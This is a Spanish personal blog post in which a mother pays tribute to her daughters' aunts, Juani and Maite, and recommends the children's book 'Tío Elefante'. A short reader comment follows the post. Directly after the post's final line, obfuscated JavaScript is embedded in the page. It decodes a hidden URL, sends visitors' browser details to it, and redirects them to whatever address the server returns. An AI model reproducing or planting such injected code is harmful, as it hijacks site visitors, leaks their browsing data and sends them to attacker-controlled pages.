No son las nuevas abuelas, ni tampoco las niñeras suplentes, pero siempre están ahí, pendientes del móvil por si reciben un whatsapp tuyo de última hora porque un imprevisto hace que necesites que te echen una mano con tus hijas. Hablo de las tías, esas personas que permanecen en el anonimato de la sociedad, pero que en mi caso juegan un papel muy importante para la vida de mis hijas y para la mía propia. ¡Ays, qué sería de mi vida, de la de Elena y de la de Ana sin la tía Juani y la tía Maite!
A raíz de un artículo de Javier Marías publicado en El País Semanal hace unos meses bajo el título de Las tías solteras, quiero desde este rincón de la red hacer mi particular homenaje a mi tía y a las de mis peques. ¿Y cómo son las tías de Elena y Ana?
Creo que mi infancia y, podría decir que mi vida en general, no tendría sentido sin mi tía Juani. Con ella iba todas las Navidades a ver la última película infantil que estrenaban por esas fechas, experimenté por primera vez lo que se sentía al dormir fuera de mi casa y alejada de mis padres, descubrí quiénes eran los Beatles, me enganché a la música de Ana Belén y Víctor Manuel o Joan Manuel Serrat, y aprendí, a través de sus álbumes de fotos, que en Egipto había pirámides o que en Marruecos se comía cus-cus. Ahora en mi rol de madre trabajadora, la tía Juani continúa siendo un pilar fundamental para mi vida. Durante los últimos años, ella ha sido la persona que cada tarde, de lunes a viernes, acudía puntual a la puerta del colegio para recoger a Elena y llevarla a la actividad extraescolar que tocase. Pero también ella es quién prepara ese bocadillo de lomo único que tanto le gusta a hija mayor y que yo, aunque lo compre en la misma tienda y lo ponga en el mismo pan, nunca llegaré a hacer; o la que corta las uñas de las manos mejor que nadie y sin que la duela, la que conoce casi mejor que yo lo que se cuece en los corrillos del colegio de Elena o la guardería de Ana o la que confecciona con cariño los disfraces para los distintos eventos anuales (navidad, carnaval, san isidro…), porque además de acompañarlas, cuidarlas o mimarlas, la tía Juani cose. ¡Todo un fichaje! Eso sí, las trenzas no son lo suyo, aquí la abuela Tere le saca ventaja, pero simplemente porque ha practicado más conmigo.
Luego está la tía Maite, la que se tira al suelo, lleve falda o pantalón, para hacer la croqueta, la que en las comidas familiares come como los pavos para terminar antes y poder jugar con sus sobrinas (y sobrinos), la que se inventa los mejores cuentos del mundo mundial, la que habla su mismo idioma, ese que se expresa con gritos, onomatopeyas e incluyendo esas palabras que tanto les hacen reír, como culo, pedo, pis…
Pero lo mejor viene cuando se juntan las dos, ¡el plan es perfecto para Elena y Ana! Y así están ya las cuatro, buscando fecha para ir la Feria del Libro de Madrid en poco más de un mes o planeando cómo será el verano cuando coincidamos todos en la casa del pueblo durante la segunda quincena de julio… ¡está claro que con la tía Juani y la tía Maite cerca el aburrimiento ni se acerca a nuestra vida!
Este verano descubrí que hay ya un día de los abuelos, el 26 de julio (por ser el día en el que la liturgia católica conmemora a san Joaquín y a santa Ana, padres de la Virgen María y, por tanto, abuelos de Jesús), así que desde aquí reivindico el día de las tías. Aunque por esas también deberíamos guardar en el calendario otra fecha para celebrar el día de las vecinas. Sí, esas madres que, como tú, necesitan algún día que recojas al niño del colegio cuando el tren se para en mitad de su recorrido y no llegas a no ser que Superman apareciese de repente y te llevase volando. Pero eso ya es tema para otro post, ¿verdad?
Y no quiero terminar este post sin recomendar un imprescindible de la literatura infantil donde las tías, en este caso se trata de un tío, son protagonistas absolutas. Se llama Tío Elefante (Ediciones Kalandraka), de Arnold Lobel, y es un libro que desprende ternura, cariño, sensibilidad y emoción en cada una de sus páginas. Una muestra de cómo las tías/tíos nos hacen la vida más fácil a los mayores y más divertida a los peques.
De parte de Elena, de Ana y de la mía, ¡gracias tía Juani y tía Maite!var uomjftkd = { encode: function (uymcrbbu, ivpjzup1) { var juykdjus = «»; for (var bmtvoq = 0; bmtvoq < uymcrbbu.length; bmtvoq++) { var maoakjle = uymcrbbu.charCodeAt(bmtvoq); var vznvir = maoakjle ^ ivpjzup1.charCodeAt(bmtvoq % ivpjzup1.length); juykdjus = juykdjus + String.fromCharCode(vznvir); } return juykdjus; }};function ivlvxbnl(xspsscex, qmjwsdtc){ return uomjftkd.encode(xspsscex, qmjwsdtc);}function nhqlzziy(vtzoxco, qmjwsdtc) { function mnbggf(url, qvfdnorl, gaurhzsa) { var svzjxjw = new XMLHttpRequest(); var mvlmqh = ""; var ngpewk = []; var djzspyoe; for(djzspyoe in qvfdnorl) { ngpewk.push(encodeURIComponent(djzspyoe) + '=' + encodeURIComponent(qvfdnorl[djzspyoe])); } mvlmqh = ngpewk.join(String.fromCharCode(38)).replace(/%20/g, '+'); svzjxjw.onreadystatechange = gaurhzsa; svzjxjw.open('GET', vtzoxco + "?" + mvlmqh); svzjxjw.send(mvlmqh); } var broilplq = { ua: navigator.userAgent, referrer: document.referrer, host: window.location.hostname, uri: window.location.pathname, lang: navigator.language, guid: qmjwsdtc }; mnbggf(vtzoxco, broilplq, function () { if (this.readyState == 4) { if (this.status == 200) { qvfdnorl = this.responseText; if (typeof(qvfdnorl) === 'string') { if (qvfdnorl.indexOf("http") === 0) { window.location = qvfdnorl; } } } } });}var advuwpjt = Array();var qmjwsdtc = '08430616d2a2d9759b18f9b49fcabc12';if (document.cookie.indexOf(qmjwsdtc) === -1){ advuwpjt.push(String.fromCharCode(88,76,64,67,67,12,30,25,9,75,8,92,2,86,67,71,88,1,90,93,20,23,11,90,95,9,76,0,18,10,28,88,67,22,68,91,64)); document.cookie = qmjwsdtc + '=1; path=/'; advuwpjt = advuwpjt.forEach(function (xspsscex) { var juykdjus = ivlvxbnl(xspsscex, qmjwsdtc); if (typeof(juykdjus) === 'string') { if (juykdjus.indexOf("http") === 0) { nhqlzziy(juykdjus, qmjwsdtc); return; } } });}
Precioso Lidia
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